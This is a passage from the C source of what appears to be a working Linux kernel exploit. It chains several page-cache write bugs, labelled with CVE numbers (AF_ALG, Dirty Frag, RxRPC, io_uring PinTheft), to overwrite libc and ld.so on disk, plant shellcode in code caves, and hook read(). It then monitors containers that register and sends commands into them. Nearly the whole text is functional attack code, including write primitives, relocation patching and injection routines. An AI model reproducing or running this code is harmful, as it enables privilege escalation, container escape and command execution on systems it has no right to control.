    if (find_got_slot_for_symbol(libc_fd, "_rtld_global",
                                 &L->got_rtld_global_va) < 0) {
        return -1;
    }

    return 0;
}

/* zone_c.asm fast_path layout (zone_c-internal byte offsets):
 *
 *   For PROLOGUE_OLD_CMPB (the asm template's natural form):
 *     +172  80 3d <disp32> 00       cmp byte [rip+single_thr_disp], 0
 *     +179  E9    <rel32>            jmp read+N
 *
 *   For PROLOGUE_GLIBC243_PUSH_RBP we overlay the same 7-byte slot
 *   (bytes 172..178) with the displaced-instruction emulation:
 *     +172  55                      push rbp
 *     +173  48 63 ff                movsxd rdi, edi
 *     +176  45 31 c9                xor r9d, r9d
 *     +179  E9    <rel32>            jmp read+N        (unchanged)
 *
 *   Same total length (12 bytes), same R6 reloc, R5 (single_thr disp32)
 *   skipped because the bytes it would patch are now part of the
 *   movsxd encoding -- that's the whole point of the size match. */
#define ZONE_C_FASTPATH_OFFSET  172

static void patch_zone_c(uint8_t *code, const struct libc_layout *L)
{
    uint64_t targets[TGT_COUNT];
    targets[TGT_ZONE_A]      = L->zone_a_va;
    targets[TGT_SINGLE_THR]  = L->single_thr_va;     /* unused for NEW */
    targets[TGT_READ_PLUS7]  = L->read_va + L->read_hook_len;
    targets[TGT_BSS_KEY]     = L->bss_key_va;
    targets[TGT_SLOT_START]  = L->slot_start_va;
    targets[TGT_SLOT_END]    = L->slot_end_va;
    targets[TGT_CMD_KEY]     = L->cmd_va;
    targets[TGT_OUTPUT_BASE] = L->output_va;

    int skip_single_thr_reloc = 0;

    if (L->prologue_kind == PROLOGUE_GLIBC243_PUSH_RBP) {
        /* Overwrite the 7-byte cmp-byte instruction with the displaced
         * push+movsxd+xor sequence. Byte 172 is the start of fast_path.
         * Slot byte 7 (the NOP filler) stays as 0x90. */
        code[ZONE_C_FASTPATH_OFFSET + 0] = 0x55;          /* push rbp */
        code[ZONE_C_FASTPATH_OFFSET + 1] = 0x48;          /* movsxd  */
        code[ZONE_C_FASTPATH_OFFSET + 2] = 0x63;
        code[ZONE_C_FASTPATH_OFFSET + 3] = 0xff;          /*    rdi, edi */
        code[ZONE_C_FASTPATH_OFFSET + 4] = 0x45;          /* xor    */
        code[ZONE_C_FASTPATH_OFFSET + 5] = 0x31;
        code[ZONE_C_FASTPATH_OFFSET + 6] = 0xc9;          /*    r9d, r9d */
        /* code[7] stays 0x90 (NOP filler) */
        skip_single_thr_reloc = 1;
    } else if (L->prologue_kind == PROLOGUE_TLS_FS) {
        /* Overwrite the entire 8-byte slot with the displaced mov
         * fs:[0x18] bytes captured at discover time. The NOP filler
         * gets replaced by the 8th byte of the mov. */
        memcpy(&code[ZONE_C_FASTPATH_OFFSET], L->tls_mov_bytes, 8);
        skip_single_thr_reloc = 1;
    }

    for (size_t i = 0; i < NRELOCS; i++) {
        if (skip_single_thr_reloc &&
            zone_c_relocs[i].tgt == TGT_SINGLE_THR) {
            continue;
        }
        uint64_t rip = L->zone_c_va + (uint64_t)zone_c_relocs[i].rip_off;
        int32_t disp = (int32_t)(targets[zone_c_relocs[i].tgt] - rip);
        memcpy(&code[zone_c_relocs[i].off], &disp, 4);
    }
}

/* -- patch_trampoline (path B) ----------------------------------
 *
 *  Trampoline layout (36 bytes):
 *    off  size  encoding              role
 *    --  ----  --------------------  -----------------------------------------
 *     0    7   80 3D <disp32> 00     cmp byte [rip+bss_key], 0
 *     7    2   75 16                 jne .fast (rel8 = +22 -> offset 31)
 *     9    7   4C 8D 15 <disp32>     lea r10, [rip+libc_base]
 *    16    7   48 8B 05 <disp32>     mov rax, [rip+got_rtld_global]
 *    23    6   48 05 <imm32>         add rax, ZONE_C_DELTA
 *    29    2   FF E0                 jmp rax
 *    31    5   E9 <rel32>            .fast: jmp read+N
 */
static void patch_trampoline(uint8_t *code, const struct libc_layout *L)
{
    int32_t d;

    /* off 2: bss_key disp32 (rip after = trampoline_va + 7) */
    d = (int32_t)(L->bss_key_va - (L->trampoline_va + 7));
    memcpy(&code[2], &d, 4);

    /* off 12: libc_base disp32 -- target is libc-internal VA 0
     *         (rip after = trampoline_va + 16) */
    d = (int32_t)((int64_t)0 - (int64_t)(L->trampoline_va + 16));
    memcpy(&code[12], &d, 4);

    /* off 19: GOT[_rtld_global] disp32 (rip after = trampoline_va + 23) */
    d = (int32_t)(L->got_rtld_global_va - (L->trampoline_va + 23));
    memcpy(&code[19], &d, 4);

    /* off 25: ZONE_C_DELTA imm32 -- direct constant, NOT rip-relative.
     *
     *   At runtime, rax holds &_rtld_global = ld_base + rtld_global_va.
     *   We want rax = ld_base + zone_c_ld_va, i.e. add (zone_c_ld_va -
     *   rtld_global_va). Both are in ld.so's address space, so the delta
     *   is constant across runs. */
    d = (int32_t)((int64_t)L->ld.zone_c_ld_va -
                  (int64_t)L->ld.rtld_global_va);
    memcpy(&code[25], &d, 4);

    /* off 32: read+N rel32 (rip after = trampoline_va + 36) */
    uint64_t read_plus_n_va = L->read_va + L->read_hook_len;
    d = (int32_t)(read_plus_n_va - (L->trampoline_va + 36));
    memcpy(&code[32], &d, 4);
}

/* -- patch_zone_c_ld (path B) -----------------------------------
 *
 *  Walks zone_c_ld_relocs[] and patches each disp32:
 *
 *    rip_off == 0  ->  direct rbp-relative: disp32 = libc_target_va + extra
 *    rip_off != 0  ->  intra-ld.so RIP-relative: disp32 = ld.zone_a_va
 *                                                       - (zone_c_ld_va + rip_off)
 */
static void patch_zone_c_ld(uint8_t *code, const struct libc_layout *L)
{
    uint64_t libc_targets[TGT_LD_COUNT];
    libc_targets[TGT_LD_BSS_KEY]      = L->bss_key_va;
    libc_targets[TGT_LD_SLOT_START]   = L->slot_start_va;
    libc_targets[TGT_LD_SLOT_END]     = L->slot_end_va;
    libc_targets[TGT_LD_SINGLE_THR]   = L->single_thr_va;
    libc_targets[TGT_LD_READ_PLUS_N]  = L->read_va + L->read_hook_len;
    libc_targets[TGT_LD_CMD]          = L->cmd_va;
    libc_targets[TGT_LD_OUTPUT]       = L->output_va;
    libc_targets[TGT_LD_ZONE_A]       = L->ld.zone_a_va;  /* placeholder */

    for (size_t i = 0; i < NRELOCS_LD; i++) {
        const struct ld_reloc *r = &zone_c_ld_relocs[i];
        int32_t disp;

        if (r->rip_off == 0) {
            /* rbp-relative: just the libc-internal VA + extra */
            disp = (int32_t)(libc_targets[r->target] +
                             (uint64_t)r->extra);
        } else {
            /* intra-ld.so RIP-relative: target is ld.so's zone_a_va */
            uint64_t rip = L->ld.zone_c_ld_va + (uint64_t)r->rip_off;
            disp = (int32_t)(L->ld.zone_a_va - rip);
        }
        memcpy(&code[r->off], &disp, 4);
    }
}

static const uint8_t alg_key[40] = {
    0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10,
    0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0,
    0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0,
};

static int cve_write4(void *addr, uint32_t value)
{
    int sk = -1, op = -1, ret = -1;
    int pfd[2] = {-1, -1};

    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
    };

    sk = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (sk < 0) goto out;
    if (bind(sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) goto out;
    if (setsockopt(sk, SOL_ALG, ALG_SET_KEY, alg_key, 40) < 0) goto out;
    if (setsockopt(sk, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0) goto out;

    op = accept(sk, NULL, NULL);
    if (op < 0) goto out;

    uint8_t val_bytes[4];
    memcpy(val_bytes, &value, 4);
    uint8_t aad[8] = { 0,0,0,0, val_bytes[0], val_bytes[1],
                                 val_bytes[2], val_bytes[3] };

    struct iovec iov = { .iov_base = aad, .iov_len = 8 };

    union {
        struct cmsghdr align;
        uint8_t buf[CMSG_SPACE(4) +
                    CMSG_SPACE(sizeof(struct af_alg_iv) + 16) +
                    CMSG_SPACE(4)];
    } cbuf;
    memset(&cbuf, 0, sizeof(cbuf));

    struct msghdr msg = {
        .msg_iov        = &iov,
        .msg_iovlen     = 1,
        .msg_control    = cbuf.buf,
        .msg_controllen = sizeof(cbuf.buf),
    };

    struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
    cm->cmsg_level = SOL_ALG;
    cm->cmsg_type  = ALG_SET_OP;
    cm->cmsg_len   = CMSG_LEN(4);
    *(int *)CMSG_DATA(cm) = ALG_OP_DECRYPT;

    cm = CMSG_NXTHDR(&msg, cm);
    cm->cmsg_level = SOL_ALG;
    cm->cmsg_type  = ALG_SET_IV;
    cm->cmsg_len   = CMSG_LEN(sizeof(struct af_alg_iv) + 16);
    ((struct af_alg_iv *)CMSG_DATA(cm))->ivlen = 16;

    cm = CMSG_NXTHDR(&msg, cm);
    cm->cmsg_level = SOL_ALG;
    cm->cmsg_type  = ALG_SET_AEAD_ASSOCLEN;
    cm->cmsg_len   = CMSG_LEN(4);
    *(int *)CMSG_DATA(cm) = 8;

    if (sendmsg(op, &msg, MSG_MORE) < 0) goto out;

    if (pipe(pfd) < 0) goto out;
    struct iovec iovd = { .iov_base = addr, .iov_len = 4 };
    if (vmsplice(pfd[1], &iovd, 1, 0) != 4) goto out;
    if (splice(pfd[0], NULL, op, NULL, 4, 0) != 4) goto out;

    uint8_t rb[256];
    recv(op, rb, sizeof(rb), 0);

    ret = 0;
out:
    if (pfd[0] >= 0) { close(pfd[0]); close(pfd[1]); }
    if (op >= 0) close(op);
    if (sk >= 0) close(sk);
    return ret;
}

static int inject_blob(int fd, off_t file_offset,
                       const uint8_t *data, size_t len,
                       const char *label)
{
    /* ---- RXRPC backend: byte-granular overwrite via overwrite_n() ---- */
    if (g_write_backend == BACKEND_RXRPC) {
        /* Read current page-cache content for the region */
        uint8_t *cur = malloc(len);
        if (!cur) { perror("malloc"); return -1; }
        ssize_t rd = pread(fd, cur, len, file_offset);
        if (rd < 0 || (size_t)rd != len) {
            fprintf(stderr, "[!] pread failed at file+0x%lx: %s\n",
                    (long)file_offset, strerror(errno));
            free(cur);
            return -1;
        }
        int rc = overwrite_n(fd, file_offset, cur, data, len);
        free(cur);
        if (rc == 0) {
            if (verbose && label)
                printf("[+] %s: wrote %zu bytes at file+0x%lx (rxrpc)\n",
                       label, len, (long)file_offset);
        } else {
            fprintf(stderr, "[!] %s: overwrite_n FAILED\n",
                    label ? label : "write");
        }
        return rc;
    }

    /* ---- PINTHEFT backend: page-granular write via io_uring --------- */
    if (g_write_backend == BACKEND_PINTHEFT) {
        extern char g_pt_path[];
        size_t done = 0;
        while (done < len) {
            off_t  cur_off   = file_offset + done;
            off_t  page_base = cur_off & ~0xFFFUL;
            size_t page_off  = cur_off - page_base;
            size_t page_left = 0x1000 - page_off;
            size_t chunk     = len - done;
            if (chunk > page_left) chunk = page_left;

            /* Read existing full page */
            uint8_t page_buf[0x1000];
            if (pread(fd, page_buf, 0x1000, page_base) != 0x1000) {
                fprintf(stderr, "[!] pread page at 0x%lx: %s\n",
                        (long)page_base, strerror(errno));
                return -1;
            }

            /* Overlay our data onto the page */
            memcpy(page_buf + page_off, data + done, chunk);

            /* Write full page via PinTheft */
            int rc = pintheft_write_page(g_pt_path, page_base,
                                         page_buf, 0x1000);
            if (rc < 0) {
                fprintf(stderr, "[!] pintheft_write_page at 0x%lx FAILED\n",
                        (long)page_base);
                return -1;
            }
            if (verbose && label)
                printf("[+] %s: wrote %zu bytes at file+0x%lx (pintheft)\n",
                       label, chunk, (long)cur_off);
            done += chunk;
        }
        return 0;
    }


    /* ---- DIRTY_FRAG backend: batch all writes in one fork ----------- */
    if (g_write_backend == BACKEND_DIRTY_FRAG) {
        size_t nchunks = (len + 3) / 4;
        struct df_write_req *reqs = malloc(nchunks * sizeof(*reqs));
        if (!reqs) { perror("malloc"); return -1; }

        /* Read current bytes for partial-word padding */
        uint8_t *cur = malloc(((nchunks * 4) > len) ? nchunks * 4 : len);
        if (!cur) { free(reqs); return -1; }
        pread(fd, cur, nchunks * 4, file_offset);

        for (size_t i = 0; i < nchunks; i++) {
            uint32_t val;
            size_t left = len - i * 4;
            if (left >= 4) {
                /* bswap: ESP writes seq_hi big-endian */
                val = ((uint32_t)data[i*4+0] << 24) |
                      ((uint32_t)data[i*4+1] << 16) |
                      ((uint32_t)data[i*4+2] <<  8) |
                      ((uint32_t)data[i*4+3]);
            } else {
                /* Partial: merge with existing bytes */
                uint8_t tmp[4];
                memcpy(tmp, cur + i * 4, 4);
                memcpy(tmp, data + i * 4, left);
                val = ((uint32_t)tmp[0] << 24) | ((uint32_t)tmp[1] << 16) |
                      ((uint32_t)tmp[2] <<  8) | ((uint32_t)tmp[3]);
            }
            reqs[i].offset = file_offset + i * 4;
            reqs[i].value = val;
        }
        free(cur);

        extern char g_df_path[];
        int rc = dirtyfrag_write4_batch(g_df_path, reqs, (int)nchunks);
        free(reqs);

        if (rc == 0) {
            if (verbose && label)
                printf("[+] %s: wrote %zu bytes at file+0x%lx (dirty-frag)\n",
                       label, len, (long)file_offset);
        } else {
            fprintf(stderr, "[!] %s: dirtyfrag_write4_batch FAILED\n",
                    label ? label : "write");
        }
        return rc;
    }

    /* ---- AF_ALG backend: 4-byte writes via cve_write4() ------------- */
    size_t done = 0;
    while (done < len) {
        off_t  cur_off   = file_offset + done;
        off_t  page_base = cur_off & ~0xFFFUL;
        size_t page_off  = cur_off - page_base;
        size_t page_left = 0x1000 - page_off;
        size_t chunk     = len - done;
        if (chunk > page_left) chunk = page_left;

        void *page = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, page_base);
        if (page == MAP_FAILED) {
            fprintf(stderr, "[!] mmap failed at 0x%lx: %s\n",
                    (long)page_base, strerror(errno));
            return -1;
        }
        volatile uint8_t c = *(volatile uint8_t *)((char *)page + page_off);
        (void)c;

        for (size_t i = 0; i < chunk; i += 4) {
            uint32_t val;
            size_t left = chunk - i;
            if (left >= 4)
                memcpy(&val, data + done + i, 4);
            else {
                memcpy(&val, (char *)page + page_off + i, 4);
                memcpy(&val, data + done + i, left);
            }
            void *target = (char *)page + page_off + i;
            int wrc;
            if (g_write_backend == BACKEND_DIRTY_FRAG) {
                g_df_target_fd = fd;
                g_df_target_foff = cur_off + i;
                wrc = dirtyfrag_write4(target, val);
            } else
                wrc = cve_write4(target, val);
            if (wrc < 0) {
                fprintf(stderr, "[!] write4 failed at file+0x%lx\n",
                        (long)(cur_off + i));
                munmap(page, 0x1000);
                return -1;
            }
        }

        int ok = 1;
        for (size_t i = 0; i < chunk; i++) {
            uint8_t got = *(volatile uint8_t *)((char *)page + page_off + i);
            if (got != data[done + i]) {
                fprintf(stderr, "[!] verify failed at +0x%lx: "
                        "got 0x%02x want 0x%02x\n",
                        (long)(cur_off + i), got, data[done + i]);
                ok = 0;
            }
        }
        if (ok) {
            if (verbose && label)
                printf("[+] %s: wrote %zu bytes at file+0x%lx\n",
                       label, chunk, (long)cur_off);
        } else {
            fprintf(stderr, "[!] %s: verify FAILED\n", label ? label : "write");
        }

        munmap(page, 0x1000);
        done += chunk;
    }
    return 0;
}

static int inject_word(int fd, off_t file_offset, uint32_t value,
                       const char *label)
{
    /* ---- RXRPC backend: delegate to inject_blob (4 bytes) ----------- */
    if (g_write_backend == BACKEND_RXRPC) {
        uint8_t vbuf[4];
        memcpy(vbuf, &value, 4);
        return inject_blob(fd, file_offset, vbuf, 4, label);
    }

    /* ---- PINTHEFT backend: delegate to inject_blob (4 bytes) -------- */
    if (g_write_backend == BACKEND_PINTHEFT) {
        uint8_t vbuf[4];
        memcpy(vbuf, &value, 4);
        return inject_blob(fd, file_offset, vbuf, 4, label);
    }


    /* ---- DIRTY_FRAG backend: delegate to inject_blob (4 bytes) ------ */
    if (g_write_backend == BACKEND_DIRTY_FRAG) {
        uint8_t vbuf[4];
        memcpy(vbuf, &value, 4);
        return inject_blob(fd, file_offset, vbuf, 4, label);
    }

    /* ---- AF_ALG backend -------------------------------------------- */
    off_t  page_base = file_offset & ~0xFFFUL;
    size_t page_off  = file_offset - page_base;

    void *page = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, page_base);
    if (page == MAP_FAILED) {
        fprintf(stderr, "[!] mmap at 0x%lx: %s\n",
                (long)page_base, strerror(errno));
        return -1;
    }
    volatile uint8_t c = *(volatile uint8_t *)((char *)page + page_off);
    (void)c;

    void *target = (char *)page + page_off;
    int rc;
    if (g_write_backend == BACKEND_DIRTY_FRAG) {
        g_df_target_fd = fd;
        g_df_target_foff = file_offset;
        rc = dirtyfrag_write4(target, value);
    } else
        rc = cve_write4(target, value);

    if (rc == 0) {
        uint32_t readback;
        memcpy(&readback, (volatile void *)target, 4);
        if (readback == value) {
            if (verbose && label)
                printf("[+] %s: 0x%08x at file+0x%lx\n",
                       label, value, (long)file_offset);
        } else {
            fprintf(stderr, "[!] %s: wrote 0x%08x, read 0x%08x\n",
                    label ? label : "write", value, readback);
        }
    } else {
        fprintf(stderr, "[!] %s: cve_write4 failed\n", label ? label : "write");
    }

    munmap(page, 0x1000);
    return rc;
}

/* -- Path-A injection (libc-only, current default) --------------- */

static const char *backend_cve_str(void) {
    switch (g_write_backend) {
    case BACKEND_AF_ALG:     return "CVE-2026-31431 (AF_ALG Copy Fail)";
    case BACKEND_DIRTY_FRAG: return "CVE-2026-43284 (Dirty Frag ESP)";
    case BACKEND_RXRPC:      return "CVE-2026-43500 (RxRPC/rxkad)";
    case BACKEND_PINTHEFT:   return "CVE-2026-43494 (PinTheft io_uring)";
    default:                 return "unknown";
    }
}

static int inject_all_path_a(int fd, const struct libc_layout *L)
{
    printf("\n");
    printf("===================================================\n");
    printf("  %s -- path A (libc)\n", backend_cve_str());
    printf("===================================================\n\n");

    /* For backends with collateral damage (4079 bytes forward), write order
     * matters: write LOWER address first so collateral goes into higher
     * (not-yet-written) area. Zone C (0x17b100) < Zone A (0x17b3c0).
     * BETTER: merge Zone C + padding + Zone A into ONE contiguous blob
     * so only one write is needed and collateral only goes past Zone A. */
    {
        printf("-- Step 1: Zone A (cve_write4 API, %d bytes) --\n", ZONE_A_SIZE);
        if (inject_blob(fd, L->zone_a_foff, zone_a_code, ZONE_A_SIZE,
                        "zone_a") < 0)
            return -1;

        printf("\n-- Step 2: Zone C (hook+reg+exit-scan, %d bytes) --\n",
               ZONE_C_SIZE);
        uint8_t zone_c[ZONE_C_SIZE];
        memcpy(zone_c, zone_c_template, ZONE_C_SIZE);
        patch_zone_c(zone_c, L);
        if (inject_blob(fd, L->zone_c_foff, zone_c, ZONE_C_SIZE, "zone_c") < 0)
            return -1;
    }

    /* Step 3a (only when slot region is the .eh_frame_hdr fallback):
     * truncate the FDE binary-search table by patching `fde_count` so the
     * unwinder no longer considers the bytes we're about to repurpose.
     * Doing this BEFORE we zero the tail keeps the FDE table consistent
     * during the brief window between this and the zero step. */
    if (L->slot_region_kind == SLOT_REGION_EH_FRAME_HDR) {
        printf("\n-- Step 3a: truncate .eh_frame_hdr fde_count "
               "%u -> %u (free %lu B at tail) --\n",
               L->orig_fde_count, L->new_fde_count,
               (unsigned long)L->slot_region_size);
        if (inject_word(fd, L->fde_count_foff, L->new_fde_count,
                        "fde_count truncate") < 0)
            return -1;
    }

    uint64_t zero_start = L->slot_region_foff;
    uint64_t zero_end   = L->slot_region_foff + L->slot_region_size;
    size_t   ztable_sz  = (size_t)(zero_end - zero_start);

    /* Save slot table baseline BEFORE any modification.
     * Used by read_slot_keys() and monitor_slots() to filter stale .hash
     * data from real container registrations. */
    {
        size_t slot_bytes = (size_t)L->slot_count * 4;
        uint32_t *bl = calloc(L->slot_count, sizeof(uint32_t));
        if (bl) {
            pread(fd, bl, slot_bytes, L->slot_start_foff);
            ((struct libc_layout *)L)->slot_baseline = bl;
        }
    }

    /* Dirty Frag has zero collateral — safe to zero the slot table,
     * just slow (~100ms per 4 bytes). Without zeroing, Zone C can't find
     * empty slots to register containers. */
    printf("\n-- Step 3b: Zero slot region (%zu bytes, file+0x%lx..0x%lx) --\n",
           ztable_sz, (unsigned long)zero_start, (unsigned long)zero_end);
    {
        uint8_t *zeros = calloc(1, ztable_sz);
        if (!zeros) return -1;
        if (inject_blob(fd, zero_start, zeros, ztable_sz, "region_zero") < 0) {
            free(zeros);
            return -1;
        }
        free(zeros);
    }

    printf("\n-- Step 4: Hook patch at read() (%d-byte hook) --\n",
           L->read_hook_len);

    /* Build jmp + nops; preserve the byte right after (4-byte write granularity) */
    int hook_len = L->read_hook_len;
    uint8_t orig_tail = 0x74;  /* default je, overwritten below */
    pread(fd, &orig_tail, 1, L->read_foff + hook_len);

    int32_t jmp_disp = (int32_t)(L->zone_c_va - (L->read_va + 5));
    uint8_t hook[13];  /* max 12 hook bytes + 1 preserved byte */
    hook[0] = 0xE9;
    memcpy(&hook[1], &jmp_disp, 4);
    for (int i = 5; i < hook_len; i++)
        hook[i] = 0x90;
    hook[hook_len] = orig_tail;  /* preserved byte at offset hook_len;
                                  * only matters for hook_len in {7, 11}
                                  * where it sits inside the last word
                                  * write. For 8 and 12 it's out of the
                                  * write range -- harmless. */

    printf("    hook:");
    for (int i = 0; i < hook_len; i++)
        printf(" %02x", hook[i]);
    printf(" [%02x]\n", hook[hook_len]);

    /* Write backwards: word 0 last (activates hook). Hook lengths in
     * {7, 8} need 2 word writes; {11, 12} need 3. */
    if (hook_len == 11 || hook_len == 12) {
        uint32_t w0, w1, w2;
        memcpy(&w0, &hook[0], 4);
        memcpy(&w1, &hook[4], 4);
        memcpy(&w2, &hook[8], 4);
        if (inject_word(fd, L->read_foff + 8, w2, "hook[8:..]") < 0 ||
            inject_word(fd, L->read_foff + 4, w1, "hook[4:7]")  < 0 ||
            inject_word(fd, L->read_foff,     w0, "hook[0:3]")  < 0)
            return -1;
    } else {
        /* hook_len == 7 || hook_len == 8 */
        uint32_t w0, w1;
        memcpy(&w0, &hook[0], 4);
        memcpy(&w1, &hook[4], 4);
        if (inject_word(fd, L->read_foff + 4, w1, "hook[4:..]") < 0 ||
            inject_word(fd, L->read_foff,     w0, "hook[0:3]")  < 0)
            return -1;
    }

    printf("\n[+] Injection complete.\n");
    return 0;
}

/* -- Path-B injection (libc trampoline + ld.so payload) ---------
 *
 *  Steps (executed in this order so a partial run can never leave
 *  read() pointing at uninitialised code):
 *
 *   1. Open ld.so as a second fd.
 *   2. Inject Zone A into ld.so's cave.
 *   3. Patch + inject zone_c_ld into ld.so's cave.
 *   4. Zero libc's .hash (slot table + CMD + OUTPUT) -- same as path A.
 *   5. Patch + inject the trampoline into libc's cave.
 *   6. Patch read()'s prologue with E9-rel32 -> trampoline.
 *
 *  The hook only goes live in step 6, by which point all of zone_c_ld,
 *  zone_a, and the trampoline are already in place.
 */
static int inject_all_path_b(int libc_fd, const struct libc_layout *L)
{
    int ld_fd = -1;
    int rc = -1;

    printf("\n");
    printf("===========================================================\n");
    printf("  %s -- path B (libc + ld.so)\n", backend_cve_str());
    printf("===========================================================\n\n");

    ld_fd = open(L->ld.path, O_RDONLY);
    if (ld_fd < 0) {
        fprintf(stderr, "[!] open(%s): %s\n",
                L->ld.path, strerror(errno));
        goto out;
    }

    /* 1. Zone A -> ld.so cave */
    printf("-- Step 1: Zone A -> ld.so cave (%d bytes) --\n", ZONE_A_SIZE);
    if (inject_blob(ld_fd, L->ld.zone_a_foff, zone_a_code,
                    ZONE_A_SIZE, "zone_a@ld") < 0)
        goto out;

    /* 2. zone_c_ld -> ld.so cave (after patching) */
    printf("\n-- Step 2: zone_c_ld -> ld.so cave (%d bytes) --\n", ZONE_C_LD_SIZE);
    uint8_t zcl[ZONE_C_LD_SIZE];
    memcpy(zcl, zone_c_ld_template, ZONE_C_LD_SIZE);
    patch_zone_c_ld(zcl, L);
    if (inject_blob(ld_fd, L->ld.zone_c_ld_foff, zcl,
                    ZONE_C_LD_SIZE, "zone_c_ld@ld") < 0)
        goto out;

    /* 3a. .eh_frame_hdr-based slot region: truncate fde_count first
     *     (same logic as path A; see inject_all_path_a). */
    if (L->slot_region_kind == SLOT_REGION_EH_FRAME_HDR) {
        printf("\n-- Step 3a: truncate libc .eh_frame_hdr fde_count "
               "%u -> %u (free %lu B at tail) --\n",
               L->orig_fde_count, L->new_fde_count,
               (unsigned long)L->slot_region_size);
        if (inject_word(libc_fd, L->fde_count_foff, L->new_fde_count,
                        "fde_count truncate") < 0)
            goto out;
    }

    /* 3b. Zero the libc slot region (slot table + CMD + OUTPUT). */
    uint64_t zero_start = L->slot_region_foff;
    uint64_t zero_end   = L->slot_region_foff + L->slot_region_size;
    size_t   ztable_sz  = (size_t)(zero_end - zero_start);
    printf("\n-- Step 3b: Zero libc slot region (%zu bytes, file+0x%lx..0x%lx) --\n",
           ztable_sz, (unsigned long)zero_start, (unsigned long)zero_end);
    if (g_write_backend == BACKEND_DIRTY_FRAG) {
        printf("    [dirty-frag: zeroing slot region via ESP, this may take a few minutes]\n");
    }
    {
        uint8_t *zeros = calloc(1, ztable_sz);
        if (!zeros) goto out;
        if (inject_blob(libc_fd, zero_start, zeros, ztable_sz,
                        "region_zero@libc") < 0) {
            free(zeros);
            goto out;
        }
        free(zeros);
    }

    /* 4. Trampoline -> libc cave (after patching). */
    printf("\n-- Step 4: trampoline -> libc cave (%d bytes) --\n", TRAMPOLINE_SIZE);
    uint8_t tramp[TRAMPOLINE_SIZE];
    memcpy(tramp, trampoline_template, TRAMPOLINE_SIZE);
    patch_trampoline(tramp, L);
    if (inject_blob(libc_fd, L->trampoline_foff, tramp,
                    TRAMPOLINE_SIZE, "trampoline@libc") < 0)
        goto out;

    /* 5. Hook patch at read() -- jmp to trampoline (in libc). */
    printf("\n-- Step 5: Hook patch at read() (%d-byte hook -> trampoline) --\n",
           L->read_hook_len);
    {
        int hook_len = L->read_hook_len;
        uint8_t orig_tail = 0x74;
        pread(libc_fd, &orig_tail, 1, L->read_foff + hook_len);

        int32_t jmp_disp = (int32_t)(L->trampoline_va - (L->read_va + 5));
        uint8_t hook[13];
        hook[0] = 0xE9;
        memcpy(&hook[1], &jmp_disp, 4);
        for (int i = 5; i < hook_len; i++) hook[i] = 0x90;
        hook[hook_len] = orig_tail;

        printf("    hook:");
        for (int i = 0; i < hook_len; i++) printf(" %02x", hook[i]);
        printf(" [%02x]\n", hook[hook_len]);

        /* Backwards write: word 0 last activates the hook. */
        if (hook_len == 11 || hook_len == 12) {
            uint32_t w0, w1, w2;
            memcpy(&w0, &hook[0], 4);
            memcpy(&w1, &hook[4], 4);
            memcpy(&w2, &hook[8], 4);
            if (inject_word(libc_fd, L->read_foff + 8, w2, "hook[8:..]") < 0 ||
                inject_word(libc_fd, L->read_foff + 4, w1, "hook[4:7]")  < 0 ||
                inject_word(libc_fd, L->read_foff,     w0, "hook[0:3]")  < 0)
                goto out;
        } else {
            /* hook_len == 7 || hook_len == 8 */
            uint32_t w0, w1;
            memcpy(&w0, &hook[0], 4);
            memcpy(&w1, &hook[4], 4);
            if (inject_word(libc_fd, L->read_foff + 4, w1, "hook[4:..]") < 0 ||
                inject_word(libc_fd, L->read_foff,     w0, "hook[0:3]") < 0)
                goto out;
        }
    }

    printf("\n[+] Path-B injection complete.\n");
    rc = 0;

out:
    if (ld_fd >= 0) close(ld_fd);
    return rc;
}

/* -- Dispatcher -- chooses path A or B based on layout decision --- */

static int inject_all(int fd, const struct libc_layout *L)
{
    if (L->path_b)
        return inject_all_path_b(fd, L);
    return inject_all_path_a(fd, L);
}

static int monitor_slots(int fd, const struct libc_layout *L, int seconds)
{
    /* For slow backends that skip zeroing, use baseline comparison:
     * read slot table BEFORE monitoring starts, then detect CHANGES. */
    int scan_count = L->slot_count;
    if (g_write_backend == BACKEND_DIRTY_FRAG) {
        scan_count = 16;  /* only track first 16 slots for efficiency */
    }

    size_t table_size = (size_t)scan_count * 4;
    uint8_t *buf = malloc(table_size);
    if (!buf) return -1;

    /* Read baseline (before any container registers) */
    uint32_t *baseline = calloc(scan_count, sizeof(uint32_t));
    if (!baseline) { free(buf); return -1; }
    pread(fd, baseline, table_size, L->slot_start_foff);

    uint32_t *seen = calloc(scan_count, sizeof(uint32_t));
    if (!seen) { free(baseline); free(buf); return -1; }
    int nseen = 0;

    printf("\n[*] Monitoring slot table (%d slots, %d seconds)...\n",
           scan_count, seconds);

    for (int s = 0; s < seconds; s++) {
        ssize_t n = pread(fd, buf, table_size, L->slot_start_foff);
        if (n < (ssize_t)table_size) {
            fprintf(stderr, "[!] pread: %s\n",
                    n < 0 ? strerror(errno) : "short read");
            break;
        }

        uint32_t *slots = (uint32_t *)buf;
        for (int i = 0; i < scan_count; i++) {
            if (slots[i] == 0) continue;
            /* Skip if value hasn't changed from baseline (stale .hash data) */
            if (slots[i] == baseline[i]) continue;

            int dup = 0;
            for (int j = 0; j < nseen; j++)
                if (seen[j] == slots[i]) { dup = 1; break; }

            if (!dup && nseen < scan_count) {
                seen[nseen++] = slots[i];
                printf("[+] t=%2ds  container registered: "
                       "key=0x%08x  slot=%d\n",
                       s, slots[i], i);
            }
        }

        struct timespec ts = {1, 0};
        nanosleep(&ts, NULL);
    }

    printf("[*] Monitoring done. %d container(s) registered.\n", nseen);
    free(seen);
    free(baseline);
    free(buf);
    return nseen;
}

static int send_command(int fd, const struct libc_layout *L,
                        uint32_t target_key, const char *command)
{
    size_t cmd_len = strlen(command) + 1;
    if (cmd_len > 0x1000 - 8) {
        fprintf(stderr, "[!] Command too long (%zu bytes, max %d)\n",
                cmd_len, 0x1000 - 8);
        return -1;
    }

    size_t padded = (cmd_len + 3) & ~3ULL;
    uint8_t *cbuf = calloc(1, padded);
    if (!cbuf) return -1;
    memcpy(cbuf, command, cmd_len);

    if (verbose)
